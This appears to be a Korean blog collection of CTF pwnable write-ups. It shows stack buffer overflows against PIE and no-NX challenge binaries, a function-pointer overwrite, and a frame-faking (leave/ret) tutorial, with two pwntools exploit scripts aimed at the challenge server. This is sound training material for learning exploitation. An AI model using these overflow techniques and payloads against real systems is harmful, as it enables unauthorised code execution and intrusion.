peda의 checksec명령을 이용하여 적용된 보호기법을 확인하면 nx와 pie보호기법이 적용되어 있음을 확인할 수 있다.
info func 명령으로 함수 목록을 확인하면 사용자 정의 함수는 다음과 같다.
ida 의 헥스레이 기능을 활용하여 각 함수들을 확인하면 다음과 같다.
j0n9hyun 함수는 flag 파일의 내용을 읽어와 출력하고 있고, welcome 함수는 welcome함수의 주소값을 출력하고, scanf함수를 반환하여 사용자로부터 값을 입력받고 있다. main 함수는 welcome 함수를 호출하고 있다.
문제 파일은 PIE보호기법이 적용되어 있기 때문에 실행할 때 마다 함수의 주소가 바뀌지만 상대적인 위치는 동일하므로 출력되는 welcome 함수의 주소를 통해 j0n9hyun함수의 주소값을 구할 수 있다. welcome 함수와 j0n9hyun함수는 0x909 - 0x809로 121 만큼 위치 차이가 난다.
welcome 함수에서 v1의 크기는 18인데 입력받는 곳에서 입력값의 크기를 제한하지 않기 때문에 bof가 발생한다.
따라서 18(v1 크기) + 4(ret까지 거리)만큼 입력값을 채우고 welcome 주소값을 이용하여 j0n9hyun 함수의 주소를 구해서 넣으면 j0n9hyun 함수를 실행시킬 수 있다. 이 과정을 익스 코드로 작성하면 다음과 같고, 이 익스 코드를 실행하면 플래그를 얻을 수 있다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3008)
p.recvline()
p.recvuntil('j0n9hyun is ')
w_addr = int(p.recv(10), 16)
# print(hex(w_addr))
pay = 'A'*22
pay += p32(w_addr-121)
p.sendline(pay)
p.interactive()
Frame faking은 가짜 스택 프레임 포인터를 만들어 프로그램의 실행 흐름을 제어하는 것이다. Return Address영역 까지만 덮어쓸 수 있을 경우 사용 가능하다.
LEAVE & RET
LEAVE 명령어는 RBP(EBP) 레지스터에 저장된 값을 RSP(ESP)레지스터에 저장한다. RSP(ESP)레지스터가 가리키는 Stack영역의 값을 RBP(RSP) 레지스터에 저장한다.
LEAVE 명령을 어셈으로 표현하면 다음과 같다.
MOV RSP, RBP
POP RBP
RET 명령어는 RSP(ESP)레지스터가 가리키는 스택 영역의 값을 RIP(EIP)레지스터에 저장하고, JMP명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동한다.
POP RIP
JMP RIP
아래의 코드를 이용해 LEAVE, RET의 동작을 확인할 수 있다.
#include <stdlib.h>
#include <stdio.h>
void vuln(int a, int b, int c, int d)
{
printf("%d, %d, %d, %d", a, b, c, d);
}
void main(int argc, char* argv[])
{
vuln(1,2,3,4);
}
위 코드를 컴파일 한 후 gdb로 실행하여 다음과 같이 bp를 설정한다. -m32옵션을 이용하여 32비트로 컴파일 하였다.
0x804843d(main+13) : main()함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후
0x804840e(vuln+3) : vuln()함수에서 사용할 Frame Porinter를 EBP레지스터 저장한 후
0x804842e(vuln+35) : leave 명령어
첫 번째로 설정한 bp까지 실행하면 다음과 같다.
main() 함수에서 사용할 Frame Pointer 주소는 0xffffd048이다. 0xffffd048영역에는 값이 저장되어 있지 않고, 0xffffd04c영역에 Return Address(0xf7e21647)가 저장되어 있다. 이 Return Address는 main함수가 종료된 후 이동할 주소이다.
다음 bp(vuln+3)까지 실행하면 다음과 같다.
vuln()함수에서 사용할 Frame Pointer의 주소는 0xffffd028이다. 0xffffd028 영역에는 main함수에서 사용하던 Frame Pointer의 주소값이 저장되어 있고, 0xffffd02c 영역에는 Return Address(0x0804844e)가 저장되어 있다. 이 Return Address는 vuln()함수가 종료된 후 이동할 주소이다.
다음 bp(vuln+35)까지 실행하면 다음과 같다.
vuln()함수에서 사용하던 Frame Pointer의 주소를 ESP에 저장한다. ESP레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP레지스터에 저장한다. main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장하는 것이다.
다음과 같이 ret 명령어의 동작을 확인할 수 있다.
ESP 레지스터에 저장된 스택 영역에서값을 추출하여 EIP레지스터에 저장하고 EIP레지스터에 저장된 값으로 이동한다. EIP레지스터는 다음 실행할 명령어가 존재하는 메모리 주소를 저장하는 레지스터로 현재 명령어가 실행 완료되면 EIP레지스터에 저장된 주소에 위치한 명령어를 실행한다.
Stack address, Libc address를 출력하고, read()함수를 이용해 사용자로 부터 70개의 문자를 입력받는다. 이로 인해 Return address 까지 값을 덮어쓸 수 있다.
gcc -m32 -fno-stack-protector -o ff ff.c -ldl 명령으로 컴파일 한다.
gdb로 0x08048571(vuln+86)에 bp를 설정하고 문자 70개를 입력하여 Frame Pointer, Return Address 영역을 덮어쓴다.
leave 명령어는 vuln()함수에서 사용하던 Frame Pointer의 주소(0xffffd038)를 ESP에 저장하고, EBP 레지스터에 저장된 Stack 영역 (0xffffd038)에서 값을 추출하여 EBP 레지스터에 저장한다. 원래는 main()함수에서 사용하던 Frame Pointer의 주소가 EBP에 저장되어야 하지만 지금 해당 영역은 overflow에 의해 0x41414141(AAAA)가 저장되어있다.
다음과 같이 Frame faking를 확인하기 위해 Return address 영역에 leave 명령어가 저장된 주소를 저장한다.
위와 같이 저장한후 실행하면 다음과 같다.
overflow에 의해 변경된 Frame Pointer(0x41414141)를 ESP에 저장한다.
leave 명령어가 다시 호출 됨으로써 ESP 레지스터의 값을 변경할 수 있으므로 코드의 흐름도 변경할 수 있다.
버퍼시작점 + 4 영역에 RTL 코드를 넣고 Frame Pointer 영역에 "RTL 코드가 저장된 주소 - 0x4" 주소를 저장하고, Return Address 영역에 leave 명령어가 저장된 주소를 저장하면 구조는 다음과 같다.
Return Address 영역에는 leave 명령어의 주소가 저장되어 있으므로 leave 명령어를 다시 실행하고, leave 명령어는 EBP레지스터에 Stack overflow로 인해 0x90909090(더미값) + RTL 코드가 저장되어 있고, 해당 값은 ESP에 저장되고 POP 명령에 의해 ESP의 값이 0x4 증가하면서 ESP는 RTL 코드를 가리키게 된다. leave 명령 실행 후 ret 명령이 실행되면 시스템 함수의 주소를 EIP에 저장하면서 RTL이 동작하게 된다.
gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.
info func명령으로 함수 목록을 확인하면 다음과 같다.
작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다.
위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.
최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.
main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다.
select_func함수에서는 인자로 받은 문자열이 "one"이면 one함수를 실행한다.
실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.
gdb로 select_func함수를 보면 다음과 같다.
select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.
eax레지스터에 저장된 값은 다음과 같다.
현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.
입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.
파이썬 익스 코드를 작성하고 실행하면 다음과 같다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')
flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr
p.sendline(pay)
p.interactive()
문제 바이너리를 실행시키면 다음과 같이 입력을 받고, 입력값이 저장된 주소(추측)와 입력값을 출력해주는 것을 확인할 수 있다. y를 입력받으면 다시 입력받고, n을 입력하면 프로그램이 종료된다.
file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.
peda에서 checksec 명령으로 적용된 보호기법을 확인해보면 다음과 같다.
NX보호기법도 적용되어 있지 않아서 쉘 코드를 삽입할 수 있을 것 같다.
info func 명령으로 함수 목록을 보면 다음과 같다.
main함수 말고는 따로 작성된 함수는 없는것 같다.
main 함수의 어셈 코드를 보면 다음과 같다.
main+83의 위치에서 scanf 함수로 입력값을 받는 것 같다.
scanf 함수가 실행된 이후인 main+88에 bp를 걸고 실행하여 입력하고 esp레지스터를 확인하면 다음과 같다.
내가 입력한 "AAAAA"는 0xffffd040에 저장되는것을 확인할 수 있다.
그리고 info frame 명령으로 eip에 저장된 값을 확인하면 다음과 같다. eip레지스터는 cpu가 다음 실행할 코드의 주소를 저장하고 있다.
eip가 저장하고 있는 값은 0xf7df4f21이고, 이 주소값은 위 esp레지스터에서 찾아보면 0xffffd0cc에 있다.
0xfffd0cc(다음 실행할 주소)와 0xffffd040(입력된 값이 저장되는 위치)는 10진수로 140만큼 차이가 난다.
따라서 입력값으로 쉘코드를 넣고, 더미값으로 140을 채운 후 입력값이 저장되는 주소를 넣으면 쉘 코드가 실행되어 쉘을 딸 수 있을 것 같다. 입력값이 저장되는 주소는 프로그램을 실행하고 값을 입력하면 주소를 출력해주기 때문에 익스 코드에서는 한번은 임의의 값을 입력하여 입력값이 저장되는 주소를 알아내고, 이후에 쉘 코드를 입력하여 쉘을 실행하도록 할 것이다. 다음과 같이 익스코드를 작성하면 쉘을 딸 수 있다. 쉘코드는 25바이트 리눅스 32비트 쉘코드를 사용하였다.
ASLR(Address Space Layout Randomization)은 메모리 손상 취약점 공격을 방지하기 위한 기술이다. 스택, 힙, 라이브러리 등의 주소를 랜덤한 영역에 배치하여 공격에 필요한 Target address를 예측하기 어렵게 만든다. 프로그램이 실행될 때 마다 각 주소들이 변경된다.